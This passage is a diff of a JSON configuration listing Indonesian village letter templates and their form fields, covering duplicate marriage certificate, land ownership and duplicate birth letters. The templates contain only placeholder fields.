"" }, { - "kategori": "dapp", "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "kode": "[form_nama_pengikut_iii]", + "nama": "Nama Pengikut III", + "deskripsi": "Nama Pengikut III", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", + "label": "Nama Pengikut", "kaitkan_kode": "" }, { - "kategori": "dipp", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", + "tipe": "text", + "kode": "[form_nama_pengikut_iv]", + "nama": "Nama Pengikut IV", + "deskripsi": "Nama Pengikut IV", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Telepon", + "label": "Nama Pengikut", "kaitkan_kode": "" }, { - "kategori": "dipp", "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "kode": "[form_nama_pengikut_v]", + "nama": "Nama Pengikut V", + "deskripsi": "Nama Pengikut V", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", + "label": "Nama Pengikut", "kaitkan_kode": "" }, { - "kategori": "ilama", "tipe": "text", - "kode": "[form_nama_istri_terdahulu]", - "nama": "Nama Istri Terdahulu", - "deskripsi": "Nama Istri Terdahulu ", + "kode": "[form_nama_pengikut_vi]", + "nama": "Nama Pengikut VI", + "deskripsi": "Nama Pengikut VI", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nama Istri Terdahulu \/ Bin Terdahulu", + "kolom": "6", + "label": "Nama Pengikut", "kaitkan_kode": "" }, { - "kategori": "ilama", - "tipe": "text", - "kode": "[form_bin]", - "nama": "Bin", - "deskripsi": "Bin", - "required": "0", + "tipe": "textarea", + "kode": "[form_keterangan_lain]", + "nama": "Keterangan Lain", + "deskripsi": "Keterangan Lain", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nama Istri Terdahulu \/ Bin Terdahulu", + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "ilama", - "tipe": "text", - "kode": "[form_no_ktp]", - "nama": "No Ktp", - "deskripsi": "No KTP", - "required": "0", + "tipe": "date", + "kode": "[form_tanggal_berangkat]", + "nama": "Tanggal Berangkat", + "deskripsi": "Tanggal Berangkat", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "4", - "label": "Nama Istri Terdahulu \/ Bin Terdahulu", - "kaitkan_kode": "" - }, - { - "kategori": "ilama", - "tipe": "text", - "kode": "[form_tempat_lahir]", - "nama": "Tempat Lahir", - "deskripsi": "Tempat Tanggal Lahir", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "8", - "label": "Tempat Tanggal Lahir", + "label": "", "kaitkan_kode": "" }, { - "kategori": "ilama", "tipe": "date", - "kode": "[form_tanggal_lahir]", - "nama": "Tanggal Lahir", - "deskripsi": "Tempat Tanggal Lahir", - "required": "0", + "kode": "[form_tanggal_kembali]", + "nama": "Tanggal Kembali", + "deskripsi": "Tanggal Kembali", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "4", - "label": "Tempat Tanggal Lahir", - "kaitkan_kode": "" - }, - { - "kategori": "ilama", - "tipe": "select-otomatis", - "kode": "[form_warga_negara]", - "nama": "Warga Negara", - "deskripsi": "Pilih Warga Negara", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": "tweb_penduduk_warganegara", - "kolom": "4", - "label": "Warganegara \/ Agama \/ Pekerjaan", + "label": "", "kaitkan_kode": "" - }, + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Permohonan Duplikat Surat Nikah", + "url_surat": "surat-permohonan-duplikat-surat-nikah", + "kode_surat": "S-33", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nNomor KK<\/td>\r\n:<\/td>\r\n[No_kK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Yang namanya tersebut di atas memang benar warga kami dan telah menikah di KUA [Form_kecamatan_kuA] pada [Form_tanggal_nikaH] dengan seseorang yang bernama [Form_nama_pasangaN]. Berdasarkan data di atas mohon untuk dibuatkan Duplikat Surat Nikah orang tersebut di atas.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "hubungan": null + } + }, + "kode_isian": [ { - "kategori": "ilama", - "tipe": "select-otomatis", - "kode": "[form_agama]", - "nama": "Agama", - "deskripsi": "Pilih Agama", + "tipe": "text", + "kode": "[form_kecamatan_kua]", + "nama": "Kecamatan KUA", + "deskripsi": "Isi Kecamatan KUA", "required": "0", "atribut": null, "pilihan": null, - "refrensi": "tweb_penduduk_agama", - "kolom": "4", - "label": "Warganegara \/ Agama \/ Pekerjaan", + "refrensi": null, + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "ilama", - "tipe": "select-otomatis", - "kode": "[form_pekerjaan]", - "nama": "Pekerjaan", - "deskripsi": "Pilih Pekerjaan", + "tipe": "date", + "kode": "[form_tanggal_nikah]", + "nama": "Tanggal Nikah", + "deskripsi": "Isi Tanggal Nikah", "required": "0", "atribut": null, "pilihan": null, - "refrensi": "tweb_penduduk_pekerjaan", - "kolom": "4", - "label": "Warganegara \/ Agama \/ Pekerjaan", + "refrensi": null, + "kolom": "3", + "label": "", "kaitkan_kode": "" }, { - "kategori": "ilama", "tipe": "text", - "kode": "[form_tempat_tinggal]", - "nama": "Tempat Tinggal", - "deskripsi": "Tempat Tinggal", + "kode": "[form_nama_pasangan]", + "nama": "Nama Pasangan", + "deskripsi": "Isi Nama Pasangan", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "12", - "label": "Tempat Tinggal", - "kaitkan_kode": "" - }, - { - "kategori": "ilama", - "tipe": "date", - "kode": "[form_tanggal_meninggal]", - "nama": "Tanggal Meninggal", - "deskripsi": "Tanggal Meninggal", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "Meninggal Dunia Pada Tanggal \/ Tempat", - "kaitkan_kode": "" - }, - { - "kategori": "ilama", - "tipe": "text", - "kode": "[form_tempat_meninggal]", - "nama": "Tempat Meninggal", - "deskripsi": "Tempat Meninggal", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "8", - "label": "Meninggal Dunia Pada Tanggal \/ Tempat", + "kolom": "", + "label": "", "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan Kepemilikan Tanah", + "url_surat": "surat-keterangan-kepemilikan-tanah", + "kode_surat": "S-49", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "d", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nJabatan<\/td>\r\n:<\/td>\r\n[JabataN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Dengan ini menerangkan bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NamA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TempatlahiR] \/ [TanggallahiR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Adalah benar-benar penduduk [Sebutan_desA] [NaMa_desa], yang memiliki\/menguasai tanah\/lahan berupa [FOrm_jenis_tanah]<\/strong> atas nama [Form_atas_namA]<\/strong>, yang berada di [Sebutan_desA] [NaMa_desa]. Tercatat dalam [FOrm_bukti_kepemilikan]<\/strong>, Nomor : [Form_nomor_bukti_kepemilikaN]<\/strong>, Luas :[Form_luas_tanaH]<\/strong>M2<\/sup>, dengan batas-batas :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nSebelah Utara<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_utarA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nSebelah Timur<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_timuR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nSebelah Selatan<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_selataN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nSebelah Barat<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_baraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
    \r\n
  1. Tanah tersebut benar-benar MILIK<\/em> yang bersangkutan dan tidak dalam keadaan sengketa<\/strong>.<\/li>\r\n
  2. Tanah tersebut berasal dari [FOrm_asal_kepmilikan_tanah]<\/strong> dan sampai dengan sekarang belum terdaftar \/ didaftarkan Hak nya ke BPN (belumditerbitkan : SIIM \/ SIIGB \/ SIIGU \/ LAINNYA)<\/li>\r\n
  3. Bukti pendukung kepemilikan sementara ini berupa [Form_bukti_pendukung_kepemilikan]<\/strong>.<\/li>\r\n<\/ol>\r\n

    Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n



    <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
    \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
    Pemilih<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\n



    <\/td>\r\n
    \u00a0<\/td>\r\n<\/tr>\r\n
    [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

    [qr_code]<\/div>", + "template_desa": "

    [JUdul_surat]<\/span><\/h4>\r\n

    Nomor : [Format_nomor_suraT]

    <\/p>\r\n

    Yang bertanda tangan di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n
    \u00a0<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma_pamong]<\/strong><\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nJabatan<\/td>\r\n:<\/td>\r\n[JaBatan] [NaMa_desa], [SeButan_kecamatan] [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

    Dengan ini menerangkan bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
    \u00a0<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NamA]<\/strong><\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TempatlahiR] \/ [TanggallahiR]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT] [SeButan_desa] [NaMa_desa], [SeButan_kecamatan] [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

    Adalah benar-benar penduduk [Sebutan_desA] [NaMa_desa], yang memiliki\/menguasai tanah\/lahan berupa [FoRm_jenis_tanah]<\/strong> atas nama [Form_atas_namA]<\/strong>, yang berada di [Sebutan_desA] [NaMa_desa]. Tercatat dalam [FOrm_bukti_kepemilikan]<\/strong>, Nomor : [Form_nomor_bukti_kepemilikaN]<\/strong>, Luas :\u00a0[Form_luas_tanaH]\u00a0<\/strong>M2<\/sup>, dengan batas-batas :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
    \u00a0<\/td>\r\nSebelah Utara<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_utarA]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nSebelah Timur<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_timuR]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nSebelah Selatan<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_selataN]<\/td>\r\n<\/tr>\r\n
    \u00a0<\/td>\r\nSebelah Barat<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_baraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \r\n
    1. Tanah tersebut benar-benar MILIK<\/em> yang bersangkutan dan tidak dalam keadaan sengketa<\/strong>.<\/li>\r\n
    2. Tanah tersebut berasal dari [FOrm_asal_kepemilikan_tanah]<\/strong> dan sampai dengan sekarang belum terdaftar \/ didaftarkan Hak nya ke BPN (belumditerbitkan : SIIM \/ SIIGB \/ SIIGU \/ LAINNYA)<\/li>\r\n
    3. Bukti pendukung kepemilikan sementara ini berupa [Form_bukti_pendukung_kepemilikan]<\/strong>.<\/li>\r\n<\/ol>\r\n

      Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n



      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Pemilih<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      [qr_code]<\/div>", + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Pemohon", + "label": "Keterangan Pemohon", + "hubungan": null }, + "tanah": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Tanah", + "label": "DETAIL INFORMASI TANAH \/ LAHAN", + "hubungan": "" + } + }, + "kode_isian": [ { - "kategori": "cpw", + "kategori": "tanah", "tipe": "select-manual", - "kode": "[form_status_kawin]", - "nama": "Status Kawin", - "deskripsi": "Pilih Status Kawin", + "kode": "[form_jenis_tanah]", + "nama": "Jenis Tanah", + "deskripsi": "- Pilih Jenis Tanah -", "required": "1", "atribut": null, "pilihan": [ - "Perawan", - "Janda", - "Bersuami" + "Tanah Sawah", + "Tanah Darat", + "Tanah Bangunan" ], "refrensi": null, - "kolom": "6", - "label": "Jika wanita, terangkan perawan atau janda", + "kolom": "3", + "label": "Jenis dan Luas Tanah", "kaitkan_kode": "" }, { - "kategori": "cpw", + "kategori": "tanah", "tipe": "number", - "kode": "[form_anak_ke]", - "nama": "Anak ke", - "deskripsi": "Anak ke-", - "required": "0", - "atribut": "min=1 max=10 class=\"\"", + "kode": "[form_luas_tanah]", + "nama": "Luas Tanah", + "deskripsi": "Luas Tanah (dalam M2)", + "required": "1", + "atribut": "min=\"0\"", "pilihan": null, "refrensi": null, "kolom": "3", - "label": "", + "label": "Jenis dan Luas Tanah", "kaitkan_kode": "" }, { - "kategori": "cpw", - "tipe": "number", - "kode": "[form_perkawinan_ke]", - "nama": "Perkawinan ke", - "deskripsi": "Perkawinan ke-", - "required": "0", - "atribut": "min=1 max=10 class=\"\"", - "pilihan": null, + "kategori": "tanah", + "tipe": "select-manual", + "kode": "[form_bukti_kepemilikan]", + "nama": "Bukti Kepemilikan", + "deskripsi": "- Pilih Bukti Kepemilikan Tanah -", + "required": "1", + "atribut": null, + "pilihan": [ + "Petok lama", + "Petok baru", + "Sit segel", + "Akta", + "Copy", + "Buku Krawangan Desa", + "Lainnya" + ], "refrensi": null, "kolom": "3", - "label": "", + "label": "Kepemilikan Tanah", "kaitkan_kode": "" }, { - "kategori": "cpw", - "tipe": "number", - "kode": "[form_passport]", - "nama": "passport", - "deskripsi": "passport", - "required": "0", + "kategori": "tanah", + "tipe": "text", + "kode": "[form_nomor_bukti_kepemilikan]", + "nama": "Nomor Bukti Kepemilikan", + "deskripsi": "Nomor Bukti Kepemilikan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "", + "kolom": "3", + "label": "Kepemilikan Tanah", "kaitkan_kode": "" }, { - "kategori": "cpw", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", - "required": "0", + "kategori": "tanah", + "tipe": "text", + "kode": "[form_atas_nama]", + "nama": "Atas Nama", + "deskripsi": "Atas Nama", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Telepon", + "label": "Kepemilikan Tanah", "kaitkan_kode": "" }, { - "kategori": "cpw", - "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", + "kategori": "tanah", + "tipe": "select-manual", + "kode": "[form_asal_kepemilikan_tanah]", + "nama": "Asal Kepemilikan Tanah", + "deskripsi": "- Pilih Asal Kepemilikan Tanah -", + "required": "1", "atribut": null, - "pilihan": null, + "pilihan": [ + "Yayasan", + "Warisan", + "Hibah", + "Jual Beli", + "Lainnya" + ], "refrensi": null, - "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", + "kolom": "3", + "label": "Asal dan Bukti Kepemilikan", "kaitkan_kode": "" }, { - "kategori": "cpw", + "kategori": "tanah", "tipe": "text", - "kode": "[form_kebangsaan_bagi_wna]", - "nama": "Kebangsaan (Bagi WNA)", - "deskripsi": "Kebangsaan", - "required": "0", + "kode": "[form_bukti_pendukung_kepemilikan]", + "nama": "Bukti Pendukung Kepemilikan", + "deskripsi": "Bukti Pendukung Kepemilikan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Kebangsaan (Bagi WNA)", + "kolom": "3", + "label": "Asal dan Bukti Kepemilikan", "kaitkan_kode": "" }, { - "kategori": "dapw", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", - "required": "0", + "kategori": "tanah", + "tipe": "text", + "kode": "[form_batas_sebelah_utara]", + "nama": "Batas Sebelah Utara", + "deskripsi": "Batas Sebelah Utara", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Telepon", + "label": "Batas Tanah", "kaitkan_kode": "" }, { - "kategori": "dapw", + "kategori": "tanah", "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", + "kode": "[form_batas_sebelah_timur]", + "nama": "Batas Sebelah Timur", + "deskripsi": "Batas Sebelah Timur", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", + "label": "Batas Tanah", "kaitkan_kode": "" }, { - "kategori": "dipw", - "tipe": "number", - "kode": "[form_telepon]", - "nama": "Telepon", - "deskripsi": "Telepon", - "required": "0", + "kategori": "tanah", + "tipe": "text", + "kode": "[form_batas_sebelah_selatan]", + "nama": "Batas Sebelah Selatan", + "deskripsi": "Batas Sebelah Selatan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Telepon", + "label": "Batas Tanah", "kaitkan_kode": "" }, { - "kategori": "dipw", + "kategori": "tanah", "tipe": "text", - "kode": "[form_nama_organisasi_penghayat_kepercayaan]", - "nama": "Nama Organisasi Penghayat Kepercayaan", - "deskripsi": "Nama Organisasi Penghayat Kepercayaan", - "required": "0", + "kode": "[form_batas_sebelah_barat]", + "nama": "Batas Sebelah Barat", + "deskripsi": "Batas Sebelah Barat", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Nama Organisasi Penghayat Kepercayaan", + "label": "Batas Tanah", "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Permohonan Duplikat Kelahiran", + "url_surat": "surat-permohonan-duplikat-kelahiran", + "kode_surat": "S-20", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "d", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      YDengan ini kami mengajukan orang untuk mengadakan [Judul_suraT] seperti tersebut di bawah ini\u00a0 :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No KTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin \/ Agama<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN] \/ [AgamA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nAlamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n
      Telah Lahir Pada :<\/strong><\/td>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nHari, Tanggal, Pukul<\/td>\r\n:<\/td>\r\n[HaRi_kelahiran], [TaNggal_kelahiran], [JaM_kelahiran] WIB<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nBertempat di<\/td>\r\n:<\/td>\r\n[TeMpat_dilahirkan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n
      Dengan orang tua<\/strong>:<\/td>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[NAma_ibu]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.<\/td>\r\nNIK \/ Tanggal Lahir Ibu<\/td>\r\n:<\/td>\r\n[Nik_ibU] \/ [Tempatlahir_ibU]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan Ibu<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n10.<\/td>\r\nAlamat Ibu<\/td>\r\n:<\/td>\r\n[Alamat_ibU] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n
